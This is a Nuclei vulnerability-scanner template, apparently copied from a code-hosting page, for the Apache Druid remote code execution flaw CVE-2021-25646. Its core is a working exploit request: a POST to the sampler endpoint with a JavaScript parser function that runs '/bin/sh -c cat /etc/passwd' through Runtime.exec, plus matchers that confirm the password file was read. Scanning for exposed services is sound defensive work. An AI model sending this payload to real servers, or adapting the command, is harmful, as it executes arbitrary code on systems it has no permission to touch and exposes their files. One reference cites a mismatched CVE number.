97 lines
3.1 KiB
YAML
97 lines
3.1 KiB
YAML
id: CVE-2021-25646
|
|
|
|
info:
|
|
name: Apache Druid - Remote Code Execution
|
|
author: pikpikcu
|
|
severity: high
|
|
description: |
|
|
Apache Druid is susceptible to remote code execution because by default it lacks authorization and authentication. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
|
|
remediation: |
|
|
Apply the latest security patches or upgrade to a patched version of Apache Druid.
|
|
reference:
|
|
- https://paper.seebug.org/1476/
|
|
- https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E
|
|
- http://www.openwall.com/lists/oss-security/2021/01/29/6
|
|
- https://lists.apache.org/thread.html/r64431c2b97209f566b5dff92415e7afba0ed3bfab4695ebaa8a62e5d@%3Cdev.druid.apache.org%3E
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25864
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2021-25646
|
|
cwe-id: CWE-732
|
|
epss-score: 0.97323
|
|
epss-percentile: 0.99871
|
|
cpe: cpe:2.3:a:apache:druid:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: apache
|
|
product: druid
|
|
tags: cve2021,cve,apache,rce,druid
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /druid/indexer/v1/sampler HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"type":"index",
|
|
"spec":{
|
|
"ioConfig":{
|
|
"type":"index",
|
|
"firehose":{
|
|
"type":"local",
|
|
"baseDir":"/etc",
|
|
"filter":"passwd"
|
|
}
|
|
},
|
|
"dataSchema":{
|
|
"dataSource":"odgjxrrrePz",
|
|
"parser":{
|
|
"parseSpec":{
|
|
"format":"javascript",
|
|
"timestampSpec":{
|
|
|
|
},
|
|
"dimensionsSpec":{
|
|
|
|
},
|
|
"function":"function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}",
|
|
"":{
|
|
"enabled":"true"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
},
|
|
"samplerConfig":{
|
|
"numRows":10
|
|
}
|
|
}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "numRowsRead"
|
|
- "numRowsIndexed"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/json"
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 490a0046304402200fb9d98df795d9808e6862bf4bd9bcb07827c6485050f18ef70a560a6f72c59202206fcce136e7f27d758cba9d444d64704b998c3469b1ee42efdd81942157b76359:922c64590222798bb761d5b6d8e72950 |